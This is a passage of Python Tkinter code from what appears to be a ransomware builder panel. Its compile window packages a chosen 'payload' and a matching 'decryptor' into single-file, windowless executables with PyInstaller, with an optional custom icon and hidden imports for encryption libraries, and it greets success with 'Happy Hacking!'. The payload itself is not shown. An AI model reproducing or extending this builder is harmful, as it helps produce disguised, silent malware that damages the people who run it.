self.serv.options['log'].tag_configure('green', foreground='green')
self.serv.options['log'].tag_configure('bold', font='bold')
#export_csv = set_ico = HoverButton(self.serv, text = "EXPORT DATA TO CSV", command = self.export_data, width = 50).grid(row = 5, column = 0, columnspan = 4)
self.start_thread()
def export_data(self):
pass
def compile(self):
self.comp = Toplevel()
self.comp.title(string = 'Compile')
self.comp.configure(background = 'white')
self.comp.resizable(0,0)
self.comp.bind("<Escape>", self.close_compile) # Press ESC to close window
if os.path.isfile('./payload.py'):
self.options['payload_path'].set('./payload.py')
if os.path.isfile('./decryptor.py'):
self.options['decryptor_path'].set('./decryptor.py')
msg = LabelFrame(self.comp, text = 'Message', relief = GROOVE)
msg.grid(row = 0, column = 0, columnspan = 3, sticky = 'w')
Label(msg, text = 'You seem to be running %s.\nYou can only compile for the OS you are running this software on.' % platform.system(), background = 'white', font='Helvetica 14').grid(row = 0, column = 0)
os_frame = LabelFrame(self.comp, text = 'Select OS')
os_frame.grid(row = 1, column = 0, sticky = 'w')
win = Radiobutton(os_frame, text = 'Windows', variable = self.options['os'], value = 'windows')
win.grid(row = 0, column = 0, sticky = 'w')
mac = Radiobutton(os_frame, text = 'MacOS', variable = self.options['os'], value = 'mac')
mac.grid(row = 1, column = 0, sticky = 'w')
lin = Radiobutton(os_frame, text = 'Linux', variable = self.options['os'], value = 'linux')
lin.grid(row = 2, column = 0, sticky = 'w')
sett_frame = LabelFrame(self.comp, text = 'Options')
sett_frame.grid(row = 1, column = 1, columnspan = 2, sticky = 'w')
Label(sett_frame, text = 'Icon', font='Helvetica 11').grid(row = 0, column = 0, sticky = 'w')
Entry(sett_frame, textvariable = self.options['icon_path'], width = 50).grid(row = 0, column = 1)
set_ico = HoverButton(sett_frame, text = "...", command = self.select_icon, width = 3).grid(row = 0, column = 2, sticky = 'e')
Label(sett_frame, text = 'Payload', font='Helvetica 11').grid(row = 1, column = 0, sticky = 'w')
Entry(sett_frame, textvariable = self.options['payload_path'], width = 50).grid(row = 1, column = 1)
set_payload = HoverButton(sett_frame, text = "...", command = self.select_payload, width = 3).grid(row = 1, column = 2, sticky = 'e')
Label(sett_frame, text = 'Decryptor', font='Helvetica 11').grid(row = 2, column = 0, sticky = 'w')
Entry(sett_frame, textvariable = self.options['decryptor_path'], width = 50).grid(row = 2, column = 1)
set_decryptor = HoverButton(sett_frame, text = "...", command = self.select_decryptor, width = 3, height = 0).grid(row = 2, column = 2, sticky = 'e')
opt_frame = LabelFrame(self.comp, text = 'Finishing')
opt_frame.grid(row = 2, column = 0, columnspan = 2, sticky='w')
finish = HoverButton(opt_frame, text = "FINISH", command = self.compile_payload, width = 18, height = 2).grid(row = 0, column = 0)
close_comp = HoverButton(opt_frame, text = 'Cancel', command = self.comp.destroy, width = 18).grid(row = 1, column = 0)
if platform.system() == 'Windows':
self.options['os'].set('windows')
mac.config(state = DISABLED)
lin.config(state = DISABLED)
elif platform.system() == 'Darwin':
self.options['os'].set('mac')
win.config(state = DISABLED)
lin.config(state = DISABLED)
elif platform.system() == 'Linux':
self.options['os'].set('linux')
win.config(state = DISABLED)
mac.config(state = DISABLED)
def compile_payload(self):
icon = False
try:
payload = open(self.options['payload_path'].get()).read()
except FileNotFoundError:
return messagebox.showerror('ERROR', 'File does not exist, check payload path!')
if not self.options['icon_path'].get() == '':
if not os.path.isfile(self.options['icon_path'].get()):
return messagebox.showwarning('ERROR', 'Icon File Not Found!')
else:
icon = True
if not os.path.isfile(self.options['payload_path'].get()):
return messagebox.showwarning('ERROR', 'Payload Not Found!')
try:
if self.options['os'].get() == 'windows':
py = 'pyinstaller.exe'
else:
py = 'pyinstaller'
if not 'from tkinter.ttk import' in payload:
tk = ''
else:
tk = '--hidden-import tkinter --hiddenimport tkinter.ttk --hidden-import io'
if not 'from Crypto import Random' in payload:
crypto = ''
else:
crypto = '--hidden-import pycryptodome'
if not 'import pyaes' in payload:
pyaes = ''
else:
pyaes = '--hidden-import pyaes'
if icon == True:
os.system('%s -F -w -i %s %s %s %s %s' % (py, self.options['icon_path'].get(), tk, crypto, pyaes, self.options['payload_path'].get()))
else:
os.system('%s -F -w %s %s %s %s' % (py, tk, crypto, pyaes, self.options['payload_path'].get()))
if os.path.isfile('./decryptor.py'):
ask = messagebox.askyesno('Found decryptor!', 'Compile decryptor now?')
if ask == False:
messagebox.showinfo('SUCCESS', 'Payload compiled successfully!\nFile located in: dist/\n\nHappy Hacking!')
self.comp.destroy()
elif ask == True:
self.compile_decrypt()
else:
return messagebox.showinfo('SUCCESS', 'Payload compiled successfully!\nFile located in: dist/\n\nHappy Hacking!')
except Exception as e:
messagebox.showwarning('ERROR', 'Failed to compile!\n\n%s' % e)
def compile_decrypt(self):
try:
decrypt = open(self.options['decryptor_path'].get()).read()